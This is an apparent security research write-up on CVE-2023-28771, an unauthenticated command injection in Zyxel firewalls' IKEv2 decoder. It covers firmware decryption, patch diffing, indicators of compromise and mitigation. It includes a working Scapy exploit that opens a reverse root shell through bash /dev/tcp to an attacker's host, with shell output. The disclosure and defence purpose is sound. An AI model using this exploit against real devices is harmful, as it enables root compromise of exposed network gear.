###### Technical Analysis
CVE-2023-28771 is an unauthenticated command injection vulnerability affecting the WAN interface of several Zyxel network devices, as reported by [TRAPA Security](https://trapa.tw/). On March 31, 2023, Zyxel released a firmware update (version 5.36) that fixes the vulnerability. The [Zyxel advisory](https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls) reports the following affected products:
* ATP (Firmware version 4.60 to 5.35 inclusive)rewalls)
* USG FLEX (Firmware version 4.60 to 5.35 inclusive)
* VPN (Firmware version 4.60 to 5.35 inclusive)
* ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive)
CVE-2023-28771 was introduced into the firmware from version 4.60, which was released on October 21, 2020, more than two and a half years ago. The vulnerable component is the Internet Key Exchange (IKE) packet decoder, which forms part of the IPSec VPN service offered by the device. **Note:** A VPN **does not need to be configured on the device** for the device to be vulnerable — an affected device is vulnerable in a default state. An attacker can send a specially crafted UDP packet to port 500 in the WAN interface and achieve unauthenticated command execution as the `root` user.
CVE-2023-28771 is not known to be exploited in the wild as of May 19, 2023, though we expect this to change. There are some 42,000 instances of Zyxel web interfaces [exposed to the public internet](https://www.shodan.io/search?query=title%3A%22USG+FLEX%22%2C%22ATP100%22%2C%22ATP200%22%2C%22ATP500%22%2C%22ATP700%22%2C%22ZyWALL+USG%22). This does not, however, capture vulnerable VPN implementations, which means real exposure is likely much higher.
Extracting the Firmware
-----------------------
The device used during testing was a USG FLEX 100. The firmware can be found on the [myzyxel.com portal](https://portal.myzyxel.com/my/firmwares?fw_version=5.36(ABUH.1)C0&model=USG%20FLEX%20100). As we are targeting a USG FLEX 100 device, we downloaded the vulnerable `USG FLEX 100 5.35(ABUH.0).zip` firmware and the patched `USG FLEX 100 5.36(ABUH.0).zip` firmware.
$ sha1sum USG\\ FLEX\\ 100\\ 5.35\\(ABUH.0\\).zip e337a3128cd15f2f9f491e970ec6eb3e576b2e22 USG FLEX 100 5.35(ABUH.0).zip $ sha1sum USG\\ FLEX\\ 100\\ 5.36\\(ABUH.0\\).zip 30174f76213fb7aebf2fe5b8b4a5085b17491a0b USG FLEX 100 5.36(ABUH.0).zip
As Zyxel ships their firmware encrypted, we can leverage a known plaintext attack to decrypt the firmware images, as detailed in [this advisory](https://www.nmmapper.com/st/exploitdetails/17244/12356/zywall-usg-appliance-multiple-vulnerabilities/) from RedTeam Pentesting GmbH circa 2011.
$ unzip USG\\ FLEX\\ 100\\ 5.35\\(ABUH.0\\).zip -d 5.35 Archive: USG FLEX 100 5.35(ABUH.0).zip inflating: 5.35/535ABUH0C0.bin inflating: 5.35/535ABUH0C0.conf inflating: 5.35/535ABUH0C0.db inflating: 5.35/535ABUH0C0.pdf extracting: 5.35/535ABUH0C0.ri inflating: 5.35/USG FLEX 100\_V5.35(ABUH.0)C0-foss.pdf $ unzip USG\\ FLEX\\ 100\\ 5.36\\(ABUH.0\\).zip -d 5.36 Archive: USG FLEX 100 5.36(ABUH.0).zip inflating: 5.36/536ABUH0C0.bin inflating: 5.36/536ABUH0C0.conf inflating: 5.36/536ABUH0C0.db inflating: 5.36/536ABUH0C0.pdf extracting: 5.36/536ABUH0C0.ri inflating: 5.36/USG FLEX 100\_V5.36(ABUH.0)C0-foss.pdf $ ./pkcrack/bin/extract 5.35.conf.zip 5.35/535ABUH0C0.conf 5.35.535ABUH0C0.plaintext $ ./pkcrack/bin/extract 5.36.conf.zip 5.36/536ABUH0C0.conf 5.36.536ABUH0C0.plaintext $ ./pkcrack/bin/pkcrack -C 5.35/535ABUH0C0.bin -c db/etc/zyxel/ftp/conf/system-default.conf -p 5.35.535ABUH0C0.plaintext -d 5.35\_decrypted.zip -a Files read. Starting stage 1 on Tue May 16 15:17:44 2023 Generating 1st generation of possible key2\_6690 values...done. Found 4194304 possible key2-values. Now we're trying to reduce these... Lowest number: 948 values at offset 4643 Lowest number: 937 values at offset 4642 Lowest number: 911 values at offset 4633 Lowest number: 844 values at offset 4632 Lowest number: 749 values at offset 4630 Lowest number: 740 values at offset 4627 Lowest number: 723 values at offset 4624 Lowest number: 697 values at offset 4622 Lowest number: 671 values at offset 4618 Lowest number: 606 values at offset 4615 Lowest number: 604 values at offset 4592 Lowest number: 602 values at offset 4590 Lowest number: 586 values at offset 4589 Lowest number: 567 values at offset 4583 Lowest number: 554 values at offset 4582 Lowest number: 528 values at offset 4581 Lowest number: 525 values at offset 4579 Lowest number: 500 values at offset 4576 Done. Left with 500 possible Values. bestOffset is 4576. Stage 1 completed. Starting stage 2 on Tue May 16 15:17:59 2023 Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5 Probabilistic test succeeded for 2119 bytes. Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5 Probabilistic test succeeded for 2119 bytes. Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5 Probabilistic test succeeded for 2119 bytes. Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5 Probabilistic test succeeded for 2119 bytes. Stage 2 completed. Starting zipdecrypt on Tue May 16 15:18:10 2023 Decrypting compress.img (07a187f5a1b0c46b72d42825)... OK! ...snip... Decrypting wtpinfo (29eb840eb35536850efa9a2a)... OK! Finished on Tue May 16 15:18:12 2023 $ ./pkcrack/bin/pkcrack -C 5.36/536ABUH0C0.bin -c db/etc/zyxel/ftp/conf/system-default.conf -p 5.36.536ABUH0C0.plaintext -d 5.36\_decrypted.zip -a Files read. Starting stage 1 on Tue May 16 15:18:44 2023 Generating 1st generation of possible key2\_6690 values...done. Found 4194304 possible key2-values. Now we're trying to reduce these... Lowest number: 985 values at offset 1464 Lowest number: 956 values at offset 1461 Lowest number: 941 values at offset 1457 Lowest number: 910 values at offset 1287 Lowest number: 902 values at offset 1264 Lowest number: 850 values at offset 1245 Lowest number: 832 values at offset 428 Lowest number: 830 values at offset 110 Lowest number: 817 values at offset 109 Lowest number: 769 values at offset 106 Lowest number: 751 values at offset 105 Lowest number: 737 values at offset 102 Lowest number: 733 values at offset 97 Lowest number: 710 values at offset 89 Lowest number: 707 values at offset 88 Lowest number: 706 values at offset 86 Lowest number: 692 values at offset 84 Done. Left with 692 possible Values. bestOffset is 84. Stage 1 completed. Starting stage 2 on Tue May 16 15:19:00 2023 Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350 Probabilistic test succeeded for 6611 bytes. Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350 Probabilistic test succeeded for 6611 bytes. Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350 Probabilistic test succeeded for 6611 bytes. Stage 2 completed. Starting zipdecrypt on Tue May 16 15:19:07 2023 Decrypting compress.img (aadb082da8abcc4237738829)... OK! ...snip... Decrypting wtpinfo (72b82f8253aed5eaaf24982e)... OK! Finished on Tue May 16 15:19:08 2023 $ unzip 5.35\_decrypted.zip -d 5.35\_decrypted $ unzip 5.36\_decrypted.zip -d 5.36\_decrypted
With the firmware successfully decrypted, the file `compress.img` can be extracted using a tool like [`7zip`](https://www.7-zip.org/download.html) to retrieve the contents of the Linux-based file system.
Diffing the Bug
---------------
While there are many changes across numerous files between version 5.35 and 5.36, we identify the binary `/sbin/sshipsecpm` as being of interest. We can use IDA Pro and BinDiff to quickly see how an obvious command injection vulnerability has been removed from the vulnerable firmware version. A caller-supplied error message is being written to a log file by constructing a system command and executing this command via a call to `system` to perform the write.
![https://images.seebug.org/1684825182696-w331s](https://images.seebug.org/1684825182696-w331s)
Decompiling the function with Ghidra shows us the logic. The vulnerable function is a [variadic function](https://en.wikipedia.org/wiki/Variadic_function) that takes a format string as its first parameter and zero or more variadic parameters. These construct the error message via the first call to `ssh_vsnprintf`. A second call to `ssh_vsnprintf` will create the system command that will write the error message to a log file `/tmp/sdwan_vpndebug.log`. Finally a call to `system` will execute the command.
```
ssh\_vsnprintf(error\_message,0x2000,format\_string\_param1,&local\_param2); ssh\_vsnprintf(command,0x2064,"echo \\"\[%02d/%02d %02d:%02d:%02d\] vpn\_info: %s\\" >> %s",month + 1,day,hour,minute,second,error\_message,"/tmp/sdwan\_vpndebug.log"); res \= system(command);
```
The patch removes this `system` call in favor of writing the error message directly to the log file via a `fopen`, `fputs`, `fflush`, `fclose` sequence of calls.
If attacker-controlled data is logged via this vulnerable function, the attacker may perform arbitrary command injection.
Reaching the Bug
----------------
While we can see where the vulnerability is, we need to identify how attacker-controlled data can be written to the log file’s error message. After some reverse engineering, we identify the function `ikev2_decode_notify`, which itself is called by `ikev2_decode_packet`. The [Internet Key Exchange](https://en.wikipedia.org/wiki/Internet_Key_Exchange) (IKE) protocol is part of the IPSec protocol suite and allows two peers to establish a security association to aid secure communications. It communicates over UDP port 500.
If we run netstat on a vulnerable device we can see that UDP port 500 is listening by default on the WAN interface (Bound to IP address 192.168.86.40 in the example below), and the process `sshipsecpm` binds the socket.
bash-5.1# netstat -lnp netstat -lnp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:11080 0.0.0.0:\* LISTEN 13002/ttyd tcp 0 0 127.0.0.1:2601 0.0.0.0:\* LISTEN 10330/zebra tcp 0 0 127.0.0.1:2602 0.0.0.0:\* LISTEN 10334/ripd tcp 0 0 127.0.0.1:2604 0.0.0.0:\* LISTEN 10343/ospfd tcp 0 0 127.0.0.1:10444 0.0.0.0:\* LISTEN 3079/pro tcp 0 0 127.0.0.1:2605 0.0.0.0:\* LISTEN 10344/bgpd tcp 0 0 0.0.0.0:2158 0.0.0.0:\* LISTEN 2516/zyssod tcp 0 0 127.0.0.1:50001 0.0.0.0:\* LISTEN 10019/capwap\_srv tcp 0 0 0.0.0.0:179 0.0.0.0:\* LISTEN 10344/bgpd tcp 0 0 192.168.3.1:53 0.0.0.0:\* LISTEN 13108/named tcp 0 0 192.168.2.1:53 0.0.0.0:\* LISTEN 13108/named tcp 0 0 192.168.1.1:53 0.0.0.0:\* LISTEN 13108/named tcp 0 0 192.168.86.40:53 0.0.0.0:\* LISTEN 13108/named tcp 0 0 127.0.0.1:53 0.0.0.0:\* LISTEN 13108/named tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 12918/sshd\_config \[ tcp 0 0 127.0.0.1:953 0.0.0.0:\* LISTEN 13108/named tcp6 0 0 :::8008 :::\* LISTEN 10880/httpd tcp6 0 0 :::54088 :::\* LISTEN 10880/httpd tcp6 0 0 :::59465 :::\* LISTEN 10880/httpd tcp6 0 0 :::59466 :::\* LISTEN 10880/httpd tcp6 0 0 :::2158 :::\* LISTEN 2516/zyssod tcp6 0 0 :::80 :::\* LISTEN 10880/httpd tcp6 0 0 :::179 :::\* LISTEN 10344/bgpd tcp6 0 0 :::53 :::\* LISTEN 13108/named tcp6 0 0 :::21 :::\* LISTEN 10743/proftpd: (acc tcp6 0 0 :::22 :::\* LISTEN 12918/sshd\_config \[ tcp6 0 0 :::443 :::\* LISTEN 10880/httpd udp 0 0 192.168.3.1:53 0.0.0.0:\* 13108/named udp 0 0 192.168.2.1:53 0.0.0.0:\* 13108/named udp 0 0 192.168.1.1:53 0.0.0.0:\* 13108/named udp 0 0 192.168.86.40:53 0.0.0.0:\* 13108/named udp 0 0 127.0.0.1:53 0.0.0.0:\* 13108/named udp 0 0 0.0.0.0:67 0.0.0.0:\* 13221/dhcpd udp 4480 0 0.0.0.0:68 0.0.0.0:\* 12998/dhcpcd udp 0 0 0.0.0.0:5246 0.0.0.0:\* 10019/capwap\_srv udp 0 0 0.0.0.0:47290 0.0.0.0:\* 13095/radiusd udp 0 0 0.0.0.0:13701 0.0.0.0:\* 12676/accountingd udp 0 0 192.168.1.1:4500 0.0.0.0:\* 5706/sshipsecpm udp 0 0 192.168.86.40:4500 0.0.0.0:\* 5706/sshipsecpm udp 0 0 192.168.1.1:500 0.0.0.0:\* 5706/sshipsecpm udp 0 0 192.168.86.40:500 0.0.0.0:\* 5706/sshipsecpm udp 0 0 0.0.0.0:520 0.0.0.0:\* 10334/ripd udp 0 0 192.168.1.1:1701 0.0.0.0:\* 5706/sshipsecpm udp 0 0 192.168.86.40:1701 0.0.0.0:\* 5706/sshipsecpm udp 0 0 127.0.0.1:18121 0.0.0.0:\* 13095/radiusd udp 0 0 0.0.0.0:3799 0.0.0.0:\* 13095/radiusd udp 0 0 0.0.0.0:1812 0.0.0.0:\* 13095/radiusd udp 0 0 0.0.0.0:1813 0.0.0.0:\* 13095/radiusd udp6 0 0 :::53 :::\* 13108/named raw 0 0 0.0.0.0:1 0.0.0.0:\* 7 13221/dhcpd raw 0 0 0.0.0.0:89 0.0.0.0:\* 7 10343/ospfd
Using a tool called [`ike-scan`](https://github.com/royhills/ike-scan) we can confirm the WAN interface on the device is both receiving IKE messages and transmitting a response, as shown by the Notify message received below.
$ sudo ike-scan -M 192.168.86.40 Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 192.168.86.40 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=08fa698fad4ea545, msgid=98cf95b1) Ending ike-scan 1.9.5: 1 hosts scanned in 0.012 seconds (82.37 hosts/sec). 0 returned handshake; 1 returned notify
Knowing that the vulnerability can be reached during IKE packet decoding and that IKE messages received on the WAN interface are being processed, we can now begin to identify the IKE message that would trigger the vulnerability.
If we examine the function `ikev2_decode_packet`, we can see a call to `ikev2_decode_notify` during a switch statement whose switch condition is based upon the payload type. The debug logging statements in the decompilation gives us a useful hint to the operations being performed and the purpose of some of the variables. Reading [RFC4306](https://datatracker.ietf.org/doc/html/rfc4306), which defines the `Internet Key Exchange (IKEv2) Protocol`, we can see that a payload type of 41 (0x29) is for a `Notify` payload. This corresponds to the naming convention of the vulnerable function we have identified, `ikev2_decode_notify`. So it appears the vulnerability lies in the decoding of an IKEv2 Notify payload.
```
if ((lVar4 !\= 0) && (lVar4 \= maybe\_should\_log\_this("SshIkev2PacketDecode",0x6e), lVar4 !\= 0)) { uVar5 \= ssh\_dvsprintf("Payload of type %d",payload\_type); // <----- ssh\_debug\_output(0x6e,"ikev2-packet-decode.c",0x3c7,"SshIkev2PacketDecode", "ikev2\_decode\_packet",uVar5); FUN\_1028a278(0,local\_c4,uVar9); } local\_c4 \= local\_c4 + 4; iVar8 \= uVar9 \- 4; lVar4 \= maybe\_should\_log\_this("SshIkev2PacketDecode",10); if (lVar4 !\= 0) { uVar7 \= ssh\_dvsprintf("switch by %d",payload\_type); uVar5 \= ssh\_dvsprintf("\[%p/%p\] %s",local\_20,\*(undefined4 \*)(local\_20 + 0x19c),uVar7); ssh\_debug\_output(10,"ikev2-packet-decode.c",0x3cd,"SshIkev2PacketDecode","ikev2\_decode\_packet" ,uVar5); maybe\_log\_console(uVar7,"ikev2-packet-decode.c",0x3cd); } switch(payload\_type) { // <----- case 0x21: local\_d0 \= FUN\_10283ab0(local\_20,local\_c4,iVar8); break; case 0x22: local\_d0 \= FUN\_10284ec4(local\_20,local\_c4,iVar8); break; case 0x23: local\_d0 \= FUN\_10285bc8(local\_20,local\_c4,iVar8); break; case 0x24: local\_d0 \= FUN\_10285d0c(local\_20,local\_c4,iVar8); break; case 0x25: local\_d0 \= FUN\_10285e54(local\_20,local\_c4,iVar8); break; case 0x26: local\_d0 \= FUN\_10286410(local\_20,local\_c4,iVar8); break; case 0x27: local\_d0 \= FUN\_102866c4(local\_20,local\_c4,iVar8); break; case 0x28: local\_d0 \= FUN\_10286bd0(local\_20,local\_c4,iVar8); break; case 0x29: // <----- local\_d0 \= ikev2\_decode\_notify(local\_20,(uint)((ulonglong)((longlong)piVar3\[8\] << 0x2c) \>\> 0x3f) << 0x13,local\_c4,iVar8); break;
```
Decompiling `ikev2_decode_notify`, we can see a call to the vulnerable log function that contains the command injection vulnerability we identified, called `vulnerable_log_function`, in the decompilation below.
```
if (puVar5\[1\] \=\= 14) { // <----- NO\_PROPOSAL\_CHOSEN memcpy(acStack\_58,(void \*)puVar5\[6\],puVar5\[5\]); do\-something\_with\_des\_cbc(acStack\_58,0x30,0);// <----- decrypt the first 48 bytes, leave the remaining bytes unmodified vulnerable\_log\_function("\[cgnat\] 4th sdwan\_decode: %s",acStack\_58); // <----- contains attacker controlled data lVar2 \= FUN\_100e0ccc(piVar1 + 0x4a,piVar1 + 0x50,acStack\_58); if (lVar2 \=\= 0) { FUN\_1028de40(0xd,0xc,\*piVar1 + 8,piVar1 + 1,0,0,0,0,"Get a wrong cgnat information") ; vulnerable\_log\_function("\[cgnat\] 4th cgnat convert wrong"); }
```
Of note is the `if` comparison against the number 14 (0x0E). This number corresponds to the IKEv2 Notify payload message-type for `NO_PROPOSAL_CHOSEN`. A data value from the payload appears to be decoded using DES-CBC and the decoded value is then logged via the vulnerable log function. Further inspection of RFC4306 shows that a Notify payload has a message-type-specific data blob appended to the end of the payload. It appears this is the value being decoded and logged.
After some debugging we observe the following: An IKEv2 Notify message with a message-type of `NO_PROPOSAL_CHOSEN` will reach the vulnerable code path. The notification data value from the Notify payload will be copied to a local variable via a call to `memcpy`. The first 48 (0x30) bytes are decrypted using the DES algorithm; **however, the remaining bytes after the first 48 bytes are left unmodified**. The entire string is then logged to `/tmp/sdwan_vpndebug.log` via the vulnerable log function.
Therefore, an attacker can provide arbitrary commands in the Notification Data field of a Notify payload whose message-type is `NO_PROPOSAL_CHOSEN`, and achieve arbitrary command execution as the user `root`.
Exploiting CVE-2023-28771
-------------------------
The following Scapy script in Python will trigger the vulnerability and achieve a reverse root shell.
```
#!/usr/bin/python3 import sys from scapy.all import \* load\_contrib('ikev2') cmd \= "\\";bash -c \\"exec bash -i &>/dev/tcp/" + sys.argv\[2\] + "/" + sys.argv\[3\] + " <&1;\\";echo -n \\"" packet \= IP(dst \= sys.argv\[1\]) / UDP(dport \= 500) / IKEv2(init\_SPI \= RandString(8), next\_payload \= 'Notify', exch\_type \= 'IKE\_SA\_INIT', flags\='Initiator') / IKEv2\_payload\_Notify(next\_payload \= 'Nonce', type \= 14, load \= "HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB" + cmd) / IKEv2\_payload\_Nonce(next\_payload \= 'None', load \= RandString(68)) send(packet)
```
We can confirm a device is vulnerable as follows:
$ sudo python3 CVE-2023-28771.py 192.168.86.40 192.168.86.34 4444 . Sent 1 packets. $
A Netcat listener can be used to pick up the shell.
$ ncat -lnp 4444 bash: cannot set terminal process group (5405): Inappropriate ioctl for device bash: no job control in this shell bash-5.1# id id uid=0(root) gid=0(root) groups=0(root) bash-5.1# uname -a uname -a Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Jan 4 18:13:49 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000\_REF (CN7020p1.2-1200-AAP) GNU/Linux bash-5.1#
Indicators of Compromise
------------------------
A potential indicator of compromise would be the following entry in the file `/tmp/sdwan_vpndebug.log`:
\[05/19 17:38:14\] vpn\_info: \[cgnat\] 4th cgnat convert wrong
This message will be written after a call to the vulnerable log function. It does not definitively indicate that exploitation has occurred, however — rather, it indicates that a packet was processed that reached the vulnerable code path.
Mitigation Guidance
-------------------
To successfully remediate CVE-2023-28771, apply the latest firmware update for the affected Zyxel devices as soon as possible. Fixed versions are as follows:
* ATP – Firmware version 5.36
* USG FLEX – Firmware version 5.36
* VPN – Firmware version 5.36
* ZyWALL/USG – Firmware version 4.73 Patch 1
暂无评论